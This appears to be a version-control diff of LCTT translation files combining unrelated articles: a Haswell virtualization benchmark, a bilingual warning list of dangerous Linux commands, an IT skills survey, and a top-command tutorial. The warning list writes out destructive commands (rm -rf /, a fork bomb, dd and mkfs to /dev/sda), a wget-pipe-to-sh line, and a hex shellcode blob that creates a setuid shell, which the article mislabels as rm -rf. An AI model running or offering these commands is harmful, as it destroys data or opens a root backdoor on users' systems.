Since last month's Haswell launch we have published many benchmarks of the new Intel CPUs but not being covered at Phoronix until today is the Linux virtualization performance for Haswell. With Intel hardware virtualization enabled, KVM, Xen, and VirtualBox were compared from a clean Fedora 19 64-bit installation.
Fedora 19 presently has the Linux 3.9.8 kernel with GCC 4.8.1, Mesa 9.2.0-devel, and an EXT4 file-system. All of the virtualization components were obtained from the Fedora 19 repository, including QEMU 1.4.2, Xen 4.2.2, and the libvirt / virt-manager components. Xen and KVM virtualization were setup through virt-manager. VirtualBox 4.2.16 was obtained from VirtualBox.org and installed on Fedora 19.
![](http://www.phoronix.net/image.php?id=intel_haswell_virtualization&image=intel_haswell_virtualization_med)
The Intel Core i7 4770K system had 16GB of RAM and a 240GB OCZ Vertex 3 SSD. During testing, each VM had access to all eight logical cores (four physical cores + Hyper Threading), access to 12GB of the system's 16GB of RAM, and a 16GB virtual disk.
The KVM, Xen, and VirtualBox performance from Fedora 19 Linux 3.9 with the Intel Core i7 "Haswell" processor were also compared to the "bare metal" results when the benchmarks were running on the host without any form of virtualization or other means of abstraction. VMware's products weren't benchmarked in this article since their EULA restricts public benchmarking (though VMware has been okay with us running such benchmarks in the past) and their trial software being limited to running on four CPU cores, but a separate article will look at the Xen/KVM/VMware performance on other hardware in the future.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=9083341&p=2)
All of this Linux virtualization benchmarking was handled in a fully automated and reproducible manner using the open-source [Phoronix Test Suite][3] software and hosting by [OpenBenchmarking.org][4]. With using a virtual disk and with Xen/KVM not having a reliable means of shared 3D access to the host's driver/GPU, most of the benchmarks within this article are computational focused to look at the performance overhead for the different Linux virtualization methods.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=16f6601&p=2)
Disk benchmarking wasn't a main focus of this virtualization testing since only a virtual disk was being used on the host's file-system. However, when comparing these three Linux virtualization methods against the bare metal results, KVM on the Linux 3.9 kernel was performing the best followed by Xen. Oracle's VirtualBox was running just 66% the speed of the host's PostMark mail server performance while KVM was at 96% the performance and Xen at 83% the host's speed.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=ee1f01f&p=2)
For the Dolfyn Computational Fluid Dynamics workload, there arent any major changes in performance against the bare metal results when running on KVM or Xen. However, VirtualBox is noticeably slower.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1a54755&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=b3c948c&p=2)
The FFTE and HMMer results were similar to Dolfyn where Xen and KVM were leading to great performance results with very little overhead, but Oracle VM VirtualBox was much slower.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=78137b2&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0a735b7&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=8d2ce17&p=2)
John The Ripper was crashing when being run under VirtualBox.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=6bd26cc&p=2)
Xen virtualization on the Linux 3.9 kernel with Fedora 19 strikes its first performance win when running the TTSIOD renderer.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=4a440fd&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=79113d7&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=505359a&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1593a32&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0f84676&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3cde78a&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=fc3d96e&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3e91cb0&p=2)
Overall, Xen and KVM virtualization worked out great on Fedora 19 in conjunction with the Intel Core i7 4770K CPU. The performance overhead of these virtualization methods were minimal on the Haswell processor. While Xen and KVM were running great on the new Intel CPU, Oracle's VirtualBox (the latest release, v4.2.16) was much slower than Xen and KVM. The benefit VirtualBox has though is means of guest 3D acceleration, which will be benchmarked again in a future Phoronix article. Also to be benchmarked soon on Phoronix will be the relative overhead of the different virtualization methods when comparing Haswell to previous generations of Intel processors as well as AMD's competition.
--------------------------------------------------------------------------------
via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization
译者:[译者ID](http://blog.csdn.net/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU
[3]:http://www.phoronix-test-suite.com/
[4]:http://openbenchmarking.org/

View File

@ -1,166 +0,0 @@
10 Most Dangerous Commands You Should Never Execute on Linux
"10个最危险的命令 你永远不要在Linux下执行否则呵呵.."
"================================================================================"
Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them.
"Linux命令行佷有用很高效也很有趣但有时候你不确定你自己在正在做什么时尤其的危险。这篇文章并不打算使你对**Linux**或**linux 命令行**感到愤怒。我们只是想让你意识到在你运行有些命令时应该三思而后行。"
"![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)"
### 1. rm -rf Command ###
"### 1. rm -rf 命令 ###"
The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are.
"**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的打字错误或无知都可能导致不可恢复的系统毁坏。下列是一些**rm 命令**的选项。"
- **rm** command in Linux is used to delete files.
"- **rm** 命令在Linux下通常用来删除文件。"
- **rm -r** command deletes the folder recursively, even the empty folder.
"- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。"
- **rm -f** command removes Read only File without asking.
"- **rm -f** 命令能不经过询问直接删除‘只读文件’。"
- **rm -rf /** : Force deletion of everything in root directory.
"- **rm -rf /** : 强制删除root目录下所有东东。"
- **rm -rf ** * : Force deletion of everything in current directory/working directory.
"- **rm -rf** * : 强制删除当前目录/工作目录的所有文件。"
- **rm -rf .** : Force deletion of current folder and sub folders.
"- **rm -rf .** : 强制删除当前文件夹及其子文件夹。"
Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by **rm** command, create an alias of **rm** command as **rm -i** in “**.bashrc**” file, it will ask you to confirm every deletion.
"从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 **rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。"
### 2. :(){:|:&};: Command ###
"### 2. :(){:|:&};: 命令###"
The above is actually a **fork bomb**. It operates by defining a function called :, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
"这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 :‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。"
" :(){:|:&};:"
### 3. command > /dev/sda ###
"### 3. 命令 > /dev/sda ###"
The above command writes the output of **command** on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
"上列命令会将‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有文件替换为命令写入的原始数据,从而导致整个块设备的数据丢失。"
### 4. mv folder /dev/null ###
"### 4. mv 文件夹 /dev/null ###"
The above command will move **folder** to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed.
"上列命令会移动‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。"
" # mv /home/user/* /dev/null"
The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**.
"上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。"
### 5. wget http://malicious_source -O- | sh ###
"### 5. wget http://malicious_source -O- | sh ###"
The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script.
"上列命令会从一个恶意源下载一个脚本并执行。get命令会下载这个脚本而**sh**会执行下载下来的脚本。"
**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.
"**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。"
### 6. mkfs.ext3 /dev/sda ###
"### 6. mkfs.ext3 /dev/sda ###"
The above command will format the block **sda** and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage.
"上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。"
### 7. > file ###
"### 7. > file###"
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file.
"上列命令常用来清空文件内容。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。"
### 8. ^foo^bar ###
"### 8. ^foo^bar ###"
This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didnt took the risk of thoroughly checking the change in original command using **^foo^bar** command.
"这个命令在我们[10个鲜为人知的Linux命令][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。"
### 9. dd if=/dev/random of=/dev/sda ###
"### 9. dd if=/dev/random of=/dev/sda ###"
The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
"上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入不协调和不可恢复的状态。"
### 10. Hidden the Command ###
"### 10. 隐藏命令 ###"
The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition.
"下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你对**root**分区。"
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Dont compile/run codes from an unknown source.
"这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。"
" char esp[] __attribute__ ((section(“.text”))) /* e.s.p"
" release */"
" = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"
" “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″"
" “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″"
" “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″"
" “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″"
" “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″"
" “\x6e\x2f\x73\x68\x00\x2d\x63\x00″"
" “cp -p /bin/sh /tmp/.beyond; chmod 4755"
" /tmp/.beyond;”;"
**Note**: Dont execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible.
"**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们请在虚拟机上运行。任何不和谐或数据丢失由于运行上面的命令导致你的系统崩溃文章**作者**和**Tecmint**概不负责。"
Thats all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and dont forgot to give your value-able feedback.
"今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和链接到**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。"
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

View File

@ -0,0 +1,51 @@
洞悉需求最高的三大IT技能组
================================================================================
![](http://www.linuxcareer.com/images/linux_it_skills_watch.png)
据[IT技能清单][1]调查报告结果显示雇主所需的Linux人才应具备的IT技能可分成相对独立的组群。本文将着重介绍在上一个季度2013年7月-9月需求度最高的3组IT技能这些技能在包括美国在内的被选国家招聘广告中都有所提及同时结果表明这三组技能可以和Linux相关的工作领域需求相匹配。
报告指出在上一季度具有嵌入式开发人员相关技能的人才是Linux专业雇主亟需的一类。排在第二位和第三位涉及的技能领域分别对应虚拟化技术和LAMP管理。本文将基于这三类工作清单涉及到的技能需求加以讨论并对分析后的三组技能间的依赖结构关系加以洞悉。
> 如果您尚未阅读[IT技能清单][1],我们强烈建议您在阅读以下内容前先熟悉这篇文章。它详细阐明了本次研究中用到的方法,本文也是基于[IT技能清单][1]的材料才得以进一步分析。
### 2013年8月IT技能分类更新 ###
![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png)
在IT技能清单这篇文章中LinuxCareer.com分析了2013年5月到6月底的Linux工作清单我们在这个基础上将2013年7月到9月底这个时间段的更新也加至分类分析中。10类相关的IT技能在Linux招聘广告中出现的比率列于如上[条形图][1]中。[IT分类][2]图表表明如何基于分类设计出此条形图。我们可以看到IT技能需求前三组为占据27%的Linux就业市场份额的嵌入式开发人员需求占20%就业份额的虚拟化技术工程师和占12%Linux就业份额的LAMP管理员。文章接下来的三部分将围绕这三项IT技能需求组及三者的相互关系展开详细的讨论。例如MySQL和PHP这两项技能有强关联性通常雇主都会一起考虑。另外要指出的是LinuxCareer.com的这项调查里掌握Linux的基础知识已默认存在于任一招聘需求中。
### 嵌入式开发人员及程序员 ###
需求最高的第一类技能组是针对嵌入式开发人员及程序员的。如下的[依赖图][2]详细阐明了技能间的关联关系尤其表明了哪几项技能更可能同时出现在Linux招聘需求中。例如嵌入式开发非常需要C/C++/C#相关技能,而这些语言要么在图表下部的深色矩形区域,要么在图表上部的对应圆形阴影中聚集。
总体来说,这组技能可以进一步细分成如下三类:
1. **Android, Embedded, C/C++/C# and Java**.如果您准备在嵌入式领域发展这些是你需要掌握的核心技能而C/C++/C#或Java掌握其一便可满足雇主需求因为Java是基于部分C/C++/C#性能的扩展性语言。如果您阅读了8月的IT技能表就会发现Java以9513分居于编程语言的榜首而C/C++/C#是5403分。如果您尚在犹豫是掌握C/C++/C#还是Java从技能表得分看起来Java应该是更好的选择。但根据如下图表显示C/C++/C#似乎在嵌入式领域的招聘需求中更受欢迎。总结可得尽管Java在IT技能表中有更高的得分但在嵌入式开发职位上掌握C/C++/C#会比Java更有用。
1.** Python, Perl and Bash**.这些是对脚本编程语言技能的补充。对Perl和Python语言的需求经常会在招聘中同时出现当然也可以理解成这两种语言技能都是需要掌握的。
2. **Git, Subversion and Jira**.这些软件知识会应用到源码管理、调试和项目管理中,同时了解这几个方面的知识对相关项目的编程大有裨益。目前,主流开源项目和大量合作项目都在用类似的软件管理他们的源码。
![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png)
### 涉及数据仓储及管理的虚拟化技术工程师 ###
目前第二大需求技能组是如下[依赖图][2]所示与虚拟化技术工程师相关的技能。这一组可进一步细分成两部分第一部分是Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix这些技能对寻求虚拟化技术工程师的工作很重要第二部分是同Unix系统、数据仓储及管理相关的技能。同时这两部分是紧密联系的。显然VMware和ESX/ESXi及vSphere是相关的因为ESX/ESXi是VMware虚拟机下提供的虚拟产品而vSphere是VMware虚拟机的云端虚拟操作系统。Redhat和VMware、Citrix产品被分到同一部分同样有其原因。这里Solaris和AIX具有密切关系的原因可以理解为它们都是专有的Unix系统掌握其一便可。
![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png)
### LAMP管理员 ###
最后,第三大技能组是如下[依赖图][2]中显示雇主需求的LAMP管理员应具备的技能。LAMP是Linux、Apache、MySQL和PHP的简称所有这四项内容是作为一名LAMP管理员所要了解的核心。这是一组相对来说小规模却会引领你至在Linux路途中发展更远的技能。实际上PHP和MySQL的密切关系表明这些技能中的任一项都不能脱离其它技能来单独掌握。
![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png)
### 总结 ###
本文基于就业能力和Linux专业人员需求技能分组阐明了两点。第一点是对经常出现的IT技能通过集群分析划出了10类IT技能组第二点是基于Linux工作需求与相应技能组的对应结果嵌入式程序员在Linux招聘需求比率最高第二及第三技能需求比率最高的领域分别对应虚拟化技术工程师及LAMP管理员领域。这三大技能组即为上一季度分析出的Linux技能需求的核心。
### 参考 ###
[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics.
[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram.
--------------------------------------------------------------------------------
via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand
译者:[icybreaker](https://github.com/icybreaker) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.linuxcareer.com/it-skill-sets
[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png
[3]:http://www.r-project.org/

View File

@ -1,290 +0,0 @@
难以置信! 30个top命令示例以及截图
================================================================================
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
### 1. Top 命令输出: ###
首先让我们理解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义默认运行top命令会显示如下输出
![Top default display](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png)
First few lines are horizontal showing summary about different system 前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。
#### 1.1 系统运行时间和平均负载: ####
![Uptime display](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png)
top命令的顶部显示与uptime命令相似的输出。
这些字段显示:
- 当前时间
- 系统运行的时间
- 登陆用户的数量
- 相应最近5、10和15分钟内的平均负载。
无法使用'l'命令触发uptime的显示。
#### 1.2 任务: ####
![Task summary](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png)
第二行显示的是任务或者进程的总结。进程可以在不同的状态。他显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态,这些进程概括可以用't'触发)。
#### 1.3 CPU 状态: ####
![CPU status display](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png)
下一行显示的是CPU状态。 这里显示了不同模式下的CPU时间 %age。这些不同的CPU时间表示:
- us, user 运行(未调整优先级的) 用户进程的CPU时间
- sysystem: 运行内核进程的CPU时间
- niniced运行已调整优先级的用户进程的CPU时间
- waIO wait: 用于等会IO完成的CPU时间
- hi处理硬件中断的CPU时间
- si: 处理软件中断的CPU时间
- st被hypervisor偷去用于vm的CPU时间。
这个无法使用't'命令触发。
#### 1.4 内存使用: ####
![Memory usage](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png)
接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换反映的是:全部、已使用、空闲和缓冲交换空间。内存显示可以用'm'命令触发。
#### 1.5 字段/列: ####
![Top columns](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png)
在水平的系统属性和状态后,下面是以列显示的进程。不同的列代表下面要讨论的不同的属性。
默认上top显示这些关于进程的属性。
**PID**
进程ID进程的唯一标识符
**USER**
进程所有者的实际用户名。
**PR**
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
**NI**
进程的nice值。低的值意味这更高的优先级。
**VIRT**
进程使用的虚拟内存。
**RES**
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
**SHR**
SHR是进程使用的共享内存。
**S**
这个是进程的状态。它有以下不同的值:
- D - 不可中断的睡眠态。
- R 运行态
- S 睡眠态
- T 被追踪或已停止
- Z 僵尸态
**%CPU**
自从上一次更新时到现在任务所使用的CPU时间百分比。
**%MEM**
进程使用的可用物理内存百分比。
**TIME+**
任务启动后到现在所使用的全部CPU时间精确到百分之一秒。
**COMMAND**
运行进程所使用的命令。
还有许多在默认情况下不会显示的输出它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
### 2. 交互命令: ###
我们之前讨论过top是一个交互命令。上一章我们已经遇到了一些命令。这里我们会探索更多的命令。
#### 2.1 h: 帮助 ####
首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。
![Help options](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png)
#### 2.2 <ENTER> 或者 <SPACE>: 刷新显示 ####
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。
#### 2.3 A: 触发交替显示模式 ####
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口:
1. Def
2. Job
3. Mem
4. Usr
四个字段都有唯一独立的可配置的概括区域和它自i就的任务驱动。4个窗口中只有一个窗口会成为当前窗口。当前窗口显示在左上方。
![Alternative display mode](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png)
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
![Window selection in alternative display](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png)
#### 2.4 B: 触发粗体显示 ####
Some important information is shown in bold characters. This command toggles use of bold.
一些重要信息会以加粗字体显示。这个命令触发使用粗体。
![Bold off](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png)
#### 2.5 d or s: 设置显示的时间间隔 ####
当按下'd'或's'时你将被提示输入一个值以秒为单位它会以设置的值作为显示间隔。如果你这里输入了1, top将会每秒刷新。
![Display time interval](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png)
#### 2.6 ltm: 触发负载、任务、内存信息 ####
这会相应地触发平均负载、任务/CPU状态和内存信息。
![Load average off](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png)
![CPU summary off](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png)
![Memory and swap usage off](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png)
![All three displays off](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png)
#### 2.7 f: 字段管理 ####
用于选择你想要显示的字段。用'*'标记的是已选择的。
![Managing columns](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png)
< and >
'<'移动已排序的字段到左边,'>'则移动到右边。
#### 2.8 R: 反向排序 ####
触发反向/常规排序。
#### 2.9 c: 触发命令 ####
触发显示进程启动时的完整路径和程序名。
![Full command path](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png)
#### 2.10 i: Idle Tasks ####
触发空闲任务。
![Idle task display off](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png)
#### 2.11 V: 树试图 ####
触发树视图。
![Forest view of tasks](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png)
#### 2.12 Z: 改变颜色映射 ####
按下'Z'向用户显示一个top命令的输出颜色可以改变的屏幕。这里有8个任务区域和8种颜色。
![Customizing colors](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png)
下面显示的是4中颜色显示的top视图。
![Colored display](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png)
#### 2.13 z: 触发彩色 ####
触发彩色,即打开或关闭彩色显示。
#### 2.14 x 或者 y ####
触发高亮:'x'排序字段;'y'运行进程。依赖于你的显示设置,你可能需要让输出彩色画来通知这些高亮。
![X and Y highlighted](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png)
#### 2.15 u: 用户的进程 ####
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
![Processes of 'raghu' user](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png)
#### 2.16 n or #: 任务的数量 ####
设置最大显示的任务数量
![Setting number of tasks displayed](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png)
#### 2.17 k: 结束任务 ####
top命令中最重要的一个命令。用于发送信号给任务(通常是结束任务)。
![Killing a task](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png)
#### 2.18 r: 重新调整优先级 ####
重新调整一个任务的调度优先级。
### 3. 命令行选项: ###
大多数这些命令行选项与上面讨论的命令相同。top的输出可以用命令交互操作。但是你可以带参数运行top来设置你想要的。
#### 3.1 -b: 批处理模式 ####
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
#### 3.2 -c: 命令/程序名 触发: ####
如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示。
#### 3.3 -d: 设置延迟间隔 ####
设置top的显示间隔(以秒计)。比如。
$ top -d 1
将会以1s的时间间隔启动top
#### 3.4 -i: 空闲进程触发 ####
这个选项设置top命令的上一次记住的相反的'i'状态。
#### 3.5 -n: 设置迭代数量 ####
用-n选项你可以设置top退出前迭代的次数。
$ top -n 3
将会在3次输出后退出。
#### 3.6 -p: 监控特定的PID ####
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
#### 3.7 -u or -U: 用户名 或者 UID ####
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的。同时只可以使用这其中一个选项。当你试图组合使用这些选项时你会得到一个错误:
$ top -p 28453 -u raghu
top: conflicting process selections (U/p/u)
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出